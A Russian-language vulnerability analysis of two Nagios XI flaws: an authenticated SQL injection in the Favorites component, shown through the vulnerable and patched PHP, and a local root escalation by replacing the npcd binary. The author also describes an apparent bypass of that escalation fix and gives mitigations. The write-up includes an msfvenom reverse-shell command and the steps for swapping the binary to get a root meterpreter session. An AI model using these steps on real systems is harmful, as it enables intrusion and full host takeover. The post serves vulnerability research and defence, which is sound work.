Анализ уязвимостей CVE-2024-24401 и CVE-2024-24402 в Nagios XI
Предисловие
Всем привет, меня зовут Дмитрий, я работаю специалистом по моделированию атак в компании «Перспективный мониторинг». Я занимаюсь разработкой сценариев атак для киберполигона Ampire. Когда мы с командой тестируем актуальные уязвимости, процесс выглядит так: устанавливаем уязвимую версию ПО, проверяем работоспособность Proof of Concept, после чего обновляемся до актуальной версии и убеждаемся, что уязвимость устранена. Тестируя актуальные уязвимости в системе мониторинга Nagios Xi, я обнаружил, что в сети очень мало информации об уязвимостях CVE-2024-24401 и CVE-2024-24402. К тому же оказалось, что одна из уязвимостей, а именно уязвимость локального повышения привилегий CVE-2024-24402, не была полностью пропатчена.
Введение
В феврале 2024 года исследователь Jarod Jaslow с псевдонимом MAWK обнаружил две уязвимости CVE-2024-24401 и CVE-2024-24402 в Nagios XI версии 2024R1.0.1. Уязвимость CVE-2024-24401 — аутентифицированная SQL-инъекция, а уязвимость CVE-2024-24402 позволяет повысить привилегии от пользователя nagios до суперпользователя. Комбинация данных уязвимостей позволяет полностью скомпрометировать веб-сервер и систему. По результатам нашего исследования было выявлено, что уязвимость CVE2024-24402 не была исправлена разработчиками, при этом уязвимость CVE-2024-24401 исправлена. Я сообщил об этом разработчикам, но ответа не получил.
Nagios XI представляет собой систему для комплексного мониторинга инфраструктуры, которая по умолчанию использует базу данных MySQL. CVE-2024-24401 — это аутентифицированная SQL-инъекция, которая возникает из-за плохой очистки данных GET-запроса. Эксплуатация данной уязвимости позволяет злоумышленнику получить API-токен администратора из базы данных и создать своего пользователя с правами администратора. В Nagios XI есть возможность создания команд, которые выполняются на различных хостах, подключенных к системе мониторинга. Получение привилегий администратора в подобном продукте может позволить злоумышленнику удаленно выполнять команды на большом количестве хостов. Таким образом злоумышленник может создать вредоносную команду и получить доступ к системам, которые подключены к Nagios XI, или только к системе, на которой поднят сервер Nagios XI, под пользователем nagios.
CVE-2024-24402 — это уязвимость повышения привилегий, которая возникает из-за возможности у пользователя nagios изменять исполняемый файл /usr/local/nagios/bin/npcd. Пользователь nagios может запустить скрипт manage_services.sh от имени суперпользователя без указания пароля. Разработчики Nagios Xi пропатчили все последние выложенные релизы на своем сайте. Уязвимости CVE2024-24401 и CVE-2024-24402 должны были быть исправлены в версии 2024R1.0.2 от 21 февраля 2024 года, о чем говорит официальный журнал изменений. Однако уязвимость локального повышения прав хоть и была пропатчена, но всё равно продолжает работать во всех актуальных версиях.
CVE-2024-24401
Уязвимость CVE-2024-24401 возникает в конечной точке /nagiosxi/config/monitoringwizard.php, но если попробовать посмотреть содержимое данного файла в браузере, то можно увидеть сообщение о том, что исходный код защищен SourceGuardian.
При этом содержимое файла скомпилировано и имеет нечитаемый вид.
О том, как обойти данную защиту кода, можно почитать в интернете.
Но давайте сначала попробуем поискать уязвимый SQL-запрос, так как не все исходники защищены SourceGuardian. Если допустить, что код, который пропускает SQL-инъекцию, находится в файле monitoringwizard.php, то можно скачать версию 2024R1.0.1 после патча с официального сайта и уязвимую версию из репозитория MAWK/CVE-2024-24401, заменить файл monitoringwizard.php в уязвимой версии таким же файлом из пропатченной версии. При этом, выполнив такую подмену, мы не нарушим работоспособность конечной точки, но и уязвимость не закрываем.
Отсюда можно сделать вывод, что уязвимость находится в другом месте. Если выполнить поиск упоминаний файла monitoringwizard.php по исходному коду Nagios xi в директории /usr/local/nagiosxi, то можно увидеть, что в уязвимой версии присутствует на одно упоминание больше в файле /usr/local/nagiosxi/html/includes/components/favorites/favorites.inc.php
Упоминание monitoringwizard.php в этом файле выглядит следующим образом:
/***
* TODO: This does NOT work for wizards, because it saves the 'nsp', so the next time the user logs in,
* it doesn't work anymore!
* favorites_get_user_favorites(): array (
* 0 =>
* array (
* 'item_id' => '1',
* 'user_id' => '1',
* 'title' => 'MSSQL Database Monitoring Wizard',
* 'partial_href' => 'config/monitoringwizard.php?update=1&nextstep=2&nsp=5bcb11d9bdcb1e11ebafb5db4657b1fe9e3c0e9653d204877bd1ae5c4d8ba7fd&wizard=mssql_database#',
* ),
* 1 =>
* array (
* 'item_id' => '2',
* 'user_id' => '1',
* 'title' => 'Configuration Wizard',
* 'partial_href' => 'config/monitoringwizard.php?&=',
* ),
* )
***/
Это обычный комментарий в виде задачи TODO. Но давайте посмотрим на одну из функций в этом же файле favorites.inc.php.
function is_user_favorite($page = null, $query_param = null)
{
global $db_tables;
if (!isset($page)) {
return false;
}
$user_id = 0;
if (isset($_SESSION['user_id'])) {
$user_id = $_SESSION['user_id'];
}
$sql = "SELECT COUNT(item_id) as count
FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
WHERE user_id = ".intval($user_id)."
AND partial_href LIKE '%".$page."%'";
if (!empty($query_param)) {
$sql .= " AND partial_href LIKE '%".$query_param."%'";
}
$count = 0;
$rows = exec_sql_query(DB_NAGIOSXI, $sql);
if (!empty($rows) && isset($rows->fields['count'])) {
$count = (int) $rows->fields['count'];
}
$retval = ($count > 0) ? true : false;
return $retval;
}
В функции проверяется, есть ли данная страница в «Избранных» у конкретного пользователя. Рассмотрим следующую ссылку: https://localhost/nagiosxi/config/monitoringwizard.php/1' AND (...
Все, что идет после monitoringwizard.php/, попадет в параметр $page, а конкретный «wizard», к которому идет обращение, — в параметр $query_param. При создании тела SQL-запроса параметры $page и $query_param никак не экранируются, что позволяет внедрить SQL-инъекцию.
Давайте посмотрим на эту же функцию, но уже в версии после патча.
function is_user_favorite($page = null, $query_param = null)
{
global $db_tables;
if (!isset($page)) {
return false;
}
$user_id = 0;
if (isset($_SESSION['user_id'])) {
$user_id = $_SESSION['user_id'];
}
$sql = "SELECT COUNT(item_id) as count
FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
WHERE user_id = ".intval($user_id)."
AND partial_href LIKE '%".escape_sql_param($page, DB_NAGIOSXI)."%'";
if (!empty($query_param)) {
$sql .= " AND partial_href LIKE '%".escape_sql_param($query_param, DB_NAGIOSXI)."%'";
}
$count = 0;
$rows = exec_sql_query(DB_NAGIOSXI, $sql);
if (!empty($rows) && isset($rows->fields['count'])) {
$count = (int) $rows->fields['count'];
}
$retval = ($count > 0) ? true : false;
return $retval;
}
Как можно увидеть, для экранирования параметров использовали функцию escape_sql_param, что больше не позволяет использовать одинарную кавычку.
Теперь давайте разберемся, почему при каждом запросе к monitoringwizard.php вызывается функция is_user_favorite.
Файл favorites.inc.php относится к компоненту Nagios XI под названием «Избранное». Если открыть данный компонент на веб‑интерфейсе, то можно увидеть, что версия компонента изменилась после патча.
В настройках данного модуля можно увидеть только один параметр, позволяющий включать и выключать вкладку «Избранное», которая находится в меню слева.
При этом, если отключить вкладку «Избранное», то уязвимый запрос больше не будет работать. Это связано с тем, что инъекция возникает в момент проверки, находится ли страница, к которой идет запрос, в «Избранное», и если не находится, то в правом верхнем углу появляется иконка «Добавить в Избранное», в ином случае — иконка «Убрать из Избранного».
Таким образом, в качестве временного закрытия уязвимости в старых версиях Nagios XI можно:
-
Воспользоваться функцией escape_sql_param, которая существует и в предыдущих версиях Nagios XI;
-
Отключить компонент «Избранное» и уязвимый код не будет вызываться.
Но самый надежный способ защититься от SQL-инъекции — обновить Nagios XI до последней версии, так как уязвимость CVE-2024-24401 была исправлена разработчиками начиная с версии 2024R1.0.2.
CVE-2024-24402
В ходе эксплуатации разобранной выше уязвимости CVE-2024-24401 злоумышленник может получить терминальную сессию с хостом Nagios XI, но только под пользователем nagios. Исследователь Jarod Jaslow обнаружил еще одну уязвимость — CVE-2024-24402, которая позволяет пользователю nagios повысить свои привилегии до уровня суперпользователя.
У пользователя nagios есть возможность использовать sudo без пароля при вызове скрипта /usr/local/nagiosxi/scripts/manage_services.sh.
Данный скрипт позволяет управлять системными сервисами.
Среди параметров скрипта можно увидеть сервис npcd, его служба находится по пути /etc/systemd/system/npcd.service.
Данная служба запускает файл /usr/local/nagios/bin/npcd.
На скриншоте видно, что данный файл принадлежит пользователю nagios, который может изменять его. Чтобы получить права суперпользователя, следует создать произвольный файл c командой для получения Reverse Shell, в моем случае я создал полезную нагрузку с помощью msfvenom на kali linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.1.10 LPORT=5557 -f elf -o npcd
Через wget скачал ее под пользователем nagios в папку /tmp/ и выдал права на исполнение.
Далее нужно запустить обработчик входящих подключений на kali linux в msfconsole.
Затем остановить службу npcd, удалить файл службы /usr/local/nagios/bin/npcd и на его место копировать наш elf-файл из папки /tmp/. Для получения meterpreter-сессии остается только снова запустить службу npcd.
После чего мы получаем meterpreter-сессию с правами суперпользователя в msfconsole.
В версии 2024R1.0.1 после патча данная уязвимость не закрыта и возможность локального повышения привилегий до уровня суперпользователя существует. Дальше я попробовал установить самую актуальную версию на данный момент — 2024R1.2.2, которая была выпущена 24 сентября 2024 года. Права доступа к файлу /usr/local/nagio/bin/npcd изменились, теперь у владельца нет прав на запись в данный файл, но при этом пользователь nagios все еще является владельцем файла, что позволяет ему удалить его и заменить произвольным скриптом.
Логически можно предположить, что изначально заявленной уязвимостью являлась возможность записи в файл пользователем nagios. Соответственно разработчики и исправили данную уязвимость. Но обойти такое исправление очень просто: так как владельцем файла является пользователь nagios, то он все еще может удалить файл npcd и подменить его исполняемым скриптом. Таким образом, даже в самой актуальной версии можно подменить файл npcd и получить права суперпользователя.
Информация о проблеме была передана разработчикам, но ответа не поступило. Можно допустить, что данная уязвимость не является критической по их мнению. У пользователя nagios есть много потенциальных возможностей для повышения привилегий, но при поверхностном осмотре они ни к чему не приводят.
В ходе исследования было выявлено, что существует обход исправления уязвимости CVE-2024-24402, что делает все актуальные версии Nagios Xi уязвимыми к локальному повышению привилегий.
Для того, чтобы полностью устранить уязвимость CVE-2024-24402, я рекомендую забрать права владельца у пользователя nagios на исполняемый файл /usr/local/nagios/bin/npcd. Данный файл запускает служба, которая работает от имени суперпользователя, поэтому пользователю nagios нет необходимости быть владельцем данного файла.